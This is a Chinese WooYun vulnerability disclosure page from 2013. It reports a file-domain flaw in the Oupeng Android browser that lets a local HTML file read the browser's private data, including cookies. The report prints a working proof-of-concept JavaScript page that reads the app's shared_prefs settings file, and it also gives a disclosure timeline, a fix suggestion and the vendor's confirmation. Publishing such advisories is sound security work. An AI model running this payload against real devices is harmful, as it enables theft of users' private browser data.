当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-037902

漏洞标题：欧鹏手机浏览器限制不严格导致用户敏感数据泄漏

相关厂商：欧朋浏览器

漏洞作者： 一灯大师

提交时间：2013-09-23 20:54

修复时间：2013-12-22 20:55

公开时间：2013-12-22 20:55

漏洞类型：用户敏感数据泄漏

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-23： 细节已通知厂商并且等待厂商处理中
2013-09-24： 厂商已经确认，细节仅向厂商公开
2013-09-27： 细节向第三方安全合作伙伴开放
2013-11-18： 细节向核心白帽子及相关领域专家公开
2013-11-28： 细节向普通白帽子公开
2013-12-08： 细节向实习白帽子公开
2013-12-22： 细节向公众公开

简要描述：

向欧鹏浏览器发送请求要求打开一个页面时，在非root情况下，可获取欧鹏浏览器下的所有数据，包括cookie信息等，盗取之后可以发送给远程服务器。

详细说明：

可以通过一个app释放一个攻击html到sd卡上，然后该app打开欧鹏浏览器，执行这个文件html文件，路径为file:///mnt/sdcard/hehe.html。向欧鹏浏览器发送请求要求打开一个页面时,即可触发
hehe.html文件如下(如下是举例，还可以上传到服务器)

<html>
<body>
<script type="text/javascript">
function getRet() {
	var request = false;
    if(window.XMLHttpRequest) {
        request = new XMLHttpRequest();
		if(request.overrideMimeType) {
			request.overrideMimeType('text/xml');
		}
    }
	
    xmlhttp = request;
    alert("ok");
    
    //获取本地文件代码
    xmlhttp.open("GET", "file:////data/data/com.oupeng.browser/shared_prefs/user_settings.xml", false);
    xmlhttp.send(null);
    var ret = xmlhttp.responseText;
	alert(ret);
}
getRet();
</script>
</body>
</html>


漏洞证明：

能够上传隐私信息，例如cookie信息等等，造成隐私信息泄露

修复方案：

做file域做下限制，尽管4.1修复了，但是大量的用户还在4.0 2.3，谢谢

版权声明：转载请注明来源 一灯大师@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-09-24 12:44

厂商回复：

感谢提交，技术人员正在跟进此漏洞

最新状态：

暂无

漏洞评价：

评论

  1. 2013-09-23 21:15 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    路人甲逆天了

  2. 2013-09-23 21:24 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

    隐约觉得这是通用型的漏洞？

  3. 2013-09-24 12:55 | 一灯大师 ( 普通白帽子 | Rank:140 漏洞数:28 | 一盏灯，也能让世界安全)

    欧鹏浏览器对待漏洞的态度是见过最好的，修复速度极快，好厂家。

  4. 2013-09-24 20:46 | 学习乌云 ( 实习白帽子 | Rank:95 漏洞数:14 | 学习ing...)

    @一灯大师 又是WebView的问题？

  5. 2013-09-24 21:15 | 一灯大师 ( 普通白帽子 | Rank:140 漏洞数:28 | 一盏灯，也能让世界安全)

    @学习乌云 ？

  6. 2013-12-23 10:23 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    不是欧朋么？